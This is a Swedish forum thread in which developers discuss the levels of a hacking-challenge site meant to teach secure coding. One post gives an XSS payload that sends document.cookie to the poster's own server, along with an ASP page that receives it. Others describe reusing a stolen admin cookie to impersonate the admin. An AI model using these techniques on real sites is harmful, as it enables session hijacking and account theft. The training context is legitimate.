www.swesecure.com

[Patrik Corneliusson]

Hej!

 

Vi har skapat en sida för säkerhetsintresserade utvecklare.

 

Swesecure.com

 

Vi har kommit en bra bit på vägen men eftersom det är en samlingsplats utvecklas den allt eftersom.

 

Ni får gärna kommentera avdelningen "testa dina hackkunskaper". Är det för lätt? För svårt?

 

Målet med sidan är att bidra med fakta om säkerhetsbrister och på det sättet upplysa om vanliga säkerhetsproblem när man skriver kod. Vi försöker även upplysa om de hot som finns och hur de kan motarbetas. Genom denna sida hoppas vi få en högre säkerhetsnivå bland oss utvecklare.

Avdelningen "testa dina hackkunskaper" kan vara ett test om hur säkerhetsmedveten du är. Testa gärna dina kollegor också!

 

[Anjuna Moon]

Mycket intressant och framförallt lärorikt. Där fanns en hel del jag kommer att ta åt mig hädanefter.

 

Men jag suger som hacker=) Kom inte förbi Nivå 5, fick inte XSS att fungera för mig.

 

Sidan är bokmärkt (poäng också för det var viktig läsning)

 

AnjunaMoon

____________________________________________________________

/* There is nothing more permanent than a temporary solution... */

Stoppa mjukvarupatenten nu! http://www.ffii.se/

 

[Patrik Corneliusson]

Hur går det med nivå 5?

 

Om du har jätteproblem så kan du läsa tipsen som finns här.

http://www.swesecure.com/?ID=8dca9e5a-5cc4-4938-8678-2f664c4db6dd&IID=fbfb331d-230c-4b07-86af-8ea6643e7b7b

 

Men innan du gör det så läs gärna vår artikel om Cross-Site Scripting (XSS)

http://www.swesecure.com/?ID=dc6ea60a-12ae-4e7e-9e9c-59489ccafa90&IID=436d5180-8909-4aa2-baee-7c8f925d6eab

 

[Anders N]

Sådant här är ju kul.. står och tuggar på åttan nu...

 

Ciao,

Anders

 

 

[Anjuna Moon]

Jag lyckades aldrig stjäla administratörens cookie, vet inte vad jag gör fel. Jag håller med om att det var kul och lärorikt var det också.

 

[Anders N]

Jag vet inte vad de hade för kontroller (strängsökning? ;P), men.. så svårt var det ju inte? Vill du ha tips/hjälp? Har du msn/icq?

 

Ciao,

Anders

 

 

[Anjuna Moon]

Tack för erbjudandet, men jag måste försöka lite till senare, det är roligare om man lyckas själv. Kan tillägga att hacking inte tillhör min expertis, var bara nyfiken på att testa lite.

 

[Anders N]

Klart roligare. Jag skulle inte ge dig något svar, bara se vad som strulade för dig.

 

Undras hur jobbig åttan är.. jag hoppas att inte nian och tian är varianter på samma sak bara.

 

Ciao,

Anders

 

 

[Anjuna Moon]

Jag testade med att skicka följande via formuläret Kontakta admin:

 

<script language=javascript>
window.open('MinIisIP/receive.asp?kaka=" +document.cookie;')
</script>

 

På min asp-sida:

<script language=javascript>
document.cookie='<%=Request.Querystring("kaka")%>';
</script>

 

[inlägget ändrat 2004-07-16 14:03:50 av Anjuna Moon]

[Anders N]

Den skickar ingenting på riktigt.. Den har bara (afaik) strängsökning, och visar ett svar om den tycker att du lyckats.

 

Antar att scriptet inte har samma ' och "-problem som du skrev här?

 

Något gör att den inte tycker om det... deras fel förmodligen. Du gör nog rätt.

 

Testa några olika varianter... (jag använde redirect istället för window.open.. kanske bara <script>?)

 

Ciao,

Anders

 

 

[Patrik Corneliusson]

>Undras hur jobbig åttan är.. jag hoppas att inte nian och tian är varianter på samma sak bara.

 

Utan att avslöja allt för mycket kan jag säga att vi har försökt blanda uppdragen, och vilken typ av säkerhetsproblem det gäller.

 

>Jag testade med att skicka följande via formuläret Kontakta admin:

 

Just den borde fungera, men vi upptäckte just ett problem som dock är åtgärdat nu. Så om ni har haft problem med nivå 5, försök igen och håll tummarna

 

 

 

[SYS64738]

Samma test fanns ju på någon utländsk sida för några år sen, tror jag tog mig till nivå 5 då. Men då är jag ingen hacker heller, kan inte ens programmera!

 

Ska se om jag hittar det andra testet.

 

[inlägget ändrat 2004-07-16 14:30:33 av SYS64738]

[Anders N]

Det finns många...

 

Kommer inte åt mina bookmarks nu, men.. en populär är:

http://www.hackthissite.org/

 

Google kan nog hitta ett otal till.

 

Ciao,

Anders

 

 

[Cechise]

Är jag dum i huvet eller? kommer inte förbi nivå 3 :-( kan inget om hashning eller vad det nu är.

 

[Anjuna Moon]

Jag får bara upp samma popup ändå med HASHEDPWD=

Eller är har jag gjort rätt då? Vad ska jag isåfall med detta till?

 

[Anjuna Moon]

Är jag dum i huvet eller? kommer inte förbi nivå 3 :-( kan inget om hashning eller vad det nu är.

 

Leta i menyn till vänster så kanske ngt ser bekant ut =)

 

[Anders N]

Du får admins cookie, som innehåller ett hashat lösenord. Du vill låtsas vara admin......

 

Ciao,

Anders

 

 

[Anjuna Moon]

Jo, fast jag lyckas inte dekryptera den vare sig med MD5 eller SHA1. Äh, det här var inte min grej, jag håller mig till programmering =)

 

[Patrik Corneliusson]

Måste du verkligen dekryptera den?

 

[Cechise]

Hittade just den. Det var ju inte så svårt :-)

 

[Anjuna Moon]

Äntligen klarade jag 5:an (6:an också)

 

[pepino]

Sexan va nästan lättare än 2:an, är själv på sjuan och vet precis vad som ska göras bara att orka med å pilla...

 

[Anders N]

Good for you. Såg just att den var klar med åttan, så.. tittade lite på nian, och.. vet väl inte riktigt vad jag ska göra.. (tagit mig förbi de två första stegen i den iaf... fick just menyn... men.. nu är det filmdags

 

En sak jag ogillar med denna jämfört med andra, är att man inte skapar ett konto.

 

Med ett konto så vet man exakt hur många som klarat ett visst steg, och man kan slumpa ut olika lösenord för olika personer, så att man inte kan "fuska".

 

Ciao,

Anders

 

 

[pepino]

Mm, konton skulle de ha

 

[Patrik Corneliusson]

>Mm, konton skulle de ha

 

Det var något vi övervägde innan vi startade sidan. Men vi kom fram till att det var bra om det var enkelt nu i början och att det förmodligen blir en inloggningsvariant längre fram.

 

Fler andra funktioner är också på gång.

Likaså uppdaterar vi konternueligt med nya artiklar.

 

Vi har två nya nivåer, nivå 10 och nivå 11 och hittills har ju ingen klarat nivå 9. Det kan vi se i alla fall

 

Vi funderar på att lägga in andra kategorier också, såsom applikationer. Där nivån går ut på att man får en exefil som innehåller ett inloggningssystem som man skall knäcka på lämpligt sätt. Vad tror ni om det? Även webservices funderar vi på.

 

Men mer information kommer efterhand på hemsidan.

 

/Patrik - www.swesecure.com